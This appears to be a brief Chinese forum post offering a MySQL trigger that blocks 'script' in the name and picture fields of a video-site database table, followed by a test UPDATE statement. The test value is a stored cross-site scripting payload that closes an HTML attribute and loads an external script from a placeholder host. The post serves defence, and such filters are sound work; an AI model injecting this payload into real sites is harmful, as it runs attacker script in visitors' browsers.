发表于 2020-2-11 16:20:28
 传递大使 用户等级--草根元老
定义代码
BEGIN
IF
NEW.d_name LIKE '%script%' OR
NEW.d_pic LIKE '%script%'
THEN
SIGNAL SQLSTATE 'HY000' SET MESSAGE_TEXT = '请勿输入非法字符!';
END IF;
END
测试代码
update mac_vod set d_pic = 'https://xx.com/xx.jpg "></script><script/**/src=https://xx.js></script><a a="">' WHERE d_id=1
|
|
